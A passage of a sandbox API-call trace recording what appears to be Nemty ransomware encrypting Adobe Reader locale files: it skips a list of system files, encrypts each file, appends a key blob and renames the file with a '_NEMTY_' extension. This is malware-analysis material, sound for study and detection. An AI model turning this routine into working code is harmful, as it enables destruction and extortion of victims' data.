[0177.193] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11776) returned 1 [0177.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2e00) returned 0x6352c48 [0177.194] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.194] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2e00, lpOverlapped=0x0) returned 1 [0177.197] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.197] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2e00, lpOverlapped=0x0) returned 1 [0177.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.197] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2e00 [0177.197] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.197] CloseHandle (hObject=0x2e8) returned 1 [0177.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0177.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0177.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0177.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0177.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.198] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\pddom.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\pddom.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\pddom.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\pddom.fra._nemty_kgobjgd_")) returned 1 [0177.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0177.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0177.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0177.198] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x88000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLITE.FRA", cAlternateFileName="")) returned 1 [0177.198] lstrcmpiW (lpString1="PPKLITE.FRA", lpString2=".") returned 1 [0177.198] lstrcmpiW (lpString1="PPKLITE.FRA", lpString2="..") returned 1 [0177.198] lstrcmpiW (lpString1="PPKLITE.FRA", lpString2="...") returned 1 [0177.198] lstrcmpiW (lpString1="PPKLITE.FRA", lpString2="windows") returned -1 [0177.199] lstrcmpiW (lpString1="PPKLITE.FRA", lpString2="$RECYCLE.BIN") returned 1 [0177.199] lstrcmpiW (lpString1="PPKLITE.FRA", lpString2="rsa") returned -1 [0177.199] lstrcmpiW (lpString1="PPKLITE.FRA", lpString2="NTDETECT.COM") returned 1 [0177.199] lstrcmpiW (lpString1="PPKLITE.FRA", lpString2="ntldr") returned 1 [0177.199] lstrcmpiW (lpString1="PPKLITE.FRA", lpString2="MSDOS.SYS") returned 1 [0177.199] lstrcmpiW (lpString1="PPKLITE.FRA", lpString2="IO.SYS") returned 1 [0177.199] lstrcmpiW (lpString1="PPKLITE.FRA", lpString2="boot.ini") returned 1 [0177.199] lstrcmpiW (lpString1="PPKLITE.FRA", lpString2="boot.ini") returned 1 [0177.199] lstrcmpiW (lpString1="PPKLITE.FRA", lpString2="AUTOEXEC.BAT") returned 1 [0177.199] lstrcmpiW (lpString1="PPKLITE.FRA", lpString2="ntuser.dat") returned 1 [0177.199] lstrcmpiW (lpString1="PPKLITE.FRA", lpString2="desktop.ini") returned 1 [0177.199] lstrcmpiW (lpString1="PPKLITE.FRA", lpString2="CONFIG.SYS") returned 1 [0177.199] lstrcmpiW (lpString1="PPKLITE.FRA", lpString2="RECYCLER") returned -1 [0177.199] lstrcmpiW (lpString1="PPKLITE.FRA", lpString2="BOOTSECT.BAK") returned 1 [0177.199] lstrcmpiW (lpString1="PPKLITE.FRA", lpString2="bootmgr") returned 1 [0177.199] lstrcmpiW (lpString1="PPKLITE.FRA", lpString2="programdata") returned -1 [0177.199] lstrcmpiW (lpString1="PPKLITE.FRA", lpString2="appdata") returned 1 [0177.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.FRA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.FRA", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.FRA", lpUsedDefaultChar=0x0) returned 11 [0177.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.FRA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.FRA", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.FRA", lpUsedDefaultChar=0x0) returned 11 [0177.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.FRA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.FRA", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.FRA", lpUsedDefaultChar=0x0) returned 11 [0177.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.FRA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.FRA", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.FRA", lpUsedDefaultChar=0x0) returned 11 [0177.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0177.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.200] Sleep (dwMilliseconds=0x5) [0177.214] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d4648b0, dwHighDateTime=0x1d561e8)) [0177.214] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d4648b0, dwHighDateTime=0x1d561e8)) [0177.214] GetLastError () returned 0x0 [0177.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.214] GetLastError () returned 0x0 [0177.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.214] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.214] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.214] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.214] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="ChGAqoaKKL3B2M2yZMH+AR4BUEUXR1COX9KGmmAQxBwQhtwzYaF7HeRpW73IWGhP\r\n5fWOMb72AiVcfZBW6xszlJvBjRuiHYy+vnDzvJ7BF/4fqGu1q0fA6i1VILevuNO9\r\nTU40ERmkHdB1WYxWb98VKOoUR0U/O8dAZQHSysXvxsPU2oPoMQTVx8zWjOq/4dm2\r\nLh5F3Kit8UFkPk0xn5HVCfZOW065nFAD0Tzv0nH9EjN621LOmGCUP4epnq0uI/qt\r\n6MqfQYE8CskcjfhpP9DzTtA1nj134e7veFdLAmp55E3R8WNroKARB7krt8uIZJmN\r\nW1OsO01D3eqtTSYvTbTYFg==\r\n", pcchString=0x653e5dc) returned 1 [0177.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.214] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\PPKLITE.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\ppklite.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.215] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=557056) returned 1 [0177.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0177.215] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.215] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0177.224] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.224] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0177.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.224] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=557056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x88000 [0177.224] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.225] CloseHandle (hObject=0x2e8) returned 1 [0177.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.225] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\PPKLITE.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\ppklite.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\PPKLITE.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\ppklite.fra._nemty_kgobjgd_")) returned 1 [0177.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.226] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f82a560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15ee00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RdLang32.FRA", cAlternateFileName="")) returned 1 [0177.226] lstrcmpiW (lpString1="RdLang32.FRA", lpString2=".") returned 1 [0177.226] lstrcmpiW (lpString1="RdLang32.FRA", lpString2="..") returned 1 [0177.226] lstrcmpiW (lpString1="RdLang32.FRA", lpString2="...") returned 1 [0177.226] lstrcmpiW (lpString1="RdLang32.FRA", lpString2="windows") returned -1 [0177.226] lstrcmpiW (lpString1="RdLang32.FRA", lpString2="$RECYCLE.BIN") returned 1 [0177.226] lstrcmpiW (lpString1="RdLang32.FRA", lpString2="rsa") returned -1 [0177.226] lstrcmpiW (lpString1="RdLang32.FRA", lpString2="NTDETECT.COM") returned 1 [0177.226] lstrcmpiW (lpString1="RdLang32.FRA", lpString2="ntldr") returned 1 [0177.226] lstrcmpiW (lpString1="RdLang32.FRA", lpString2="MSDOS.SYS") returned 1 [0177.226] lstrcmpiW (lpString1="RdLang32.FRA", lpString2="IO.SYS") returned 1 [0177.226] lstrcmpiW (lpString1="RdLang32.FRA", lpString2="boot.ini") returned 1 [0177.226] lstrcmpiW (lpString1="RdLang32.FRA", lpString2="boot.ini") returned 1 [0177.226] lstrcmpiW (lpString1="RdLang32.FRA", lpString2="AUTOEXEC.BAT") returned 1 [0177.226] lstrcmpiW (lpString1="RdLang32.FRA", lpString2="ntuser.dat") returned 1 [0177.227] lstrcmpiW (lpString1="RdLang32.FRA", lpString2="desktop.ini") returned 1 [0177.227] lstrcmpiW (lpString1="RdLang32.FRA", lpString2="CONFIG.SYS") returned 1 [0177.227] lstrcmpiW (lpString1="RdLang32.FRA", lpString2="RECYCLER") returned -1 [0177.227] lstrcmpiW (lpString1="RdLang32.FRA", lpString2="BOOTSECT.BAK") returned 1 [0177.227] lstrcmpiW (lpString1="RdLang32.FRA", lpString2="bootmgr") returned 1 [0177.227] lstrcmpiW (lpString1="RdLang32.FRA", lpString2="programdata") returned 1 [0177.227] lstrcmpiW (lpString1="RdLang32.FRA", lpString2="appdata") returned 1 [0177.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.227] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.FRA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.227] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.FRA", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.FRA", lpUsedDefaultChar=0x0) returned 12 [0177.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.227] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.FRA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.227] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.FRA", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.FRA", lpUsedDefaultChar=0x0) returned 12 [0177.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.227] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.FRA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.227] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.FRA", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.FRA", lpUsedDefaultChar=0x0) returned 12 [0177.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.227] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.FRA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.227] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.FRA", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.FRA", lpUsedDefaultChar=0x0) returned 12 [0177.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.227] Sleep (dwMilliseconds=0x5) [0177.229] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d48aa10, dwHighDateTime=0x1d561e8)) [0177.229] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d48aa10, dwHighDateTime=0x1d561e8)) [0177.229] GetLastError () returned 0x0 [0177.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.230] GetLastError () returned 0x0 [0177.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.230] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.230] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.230] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.230] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: 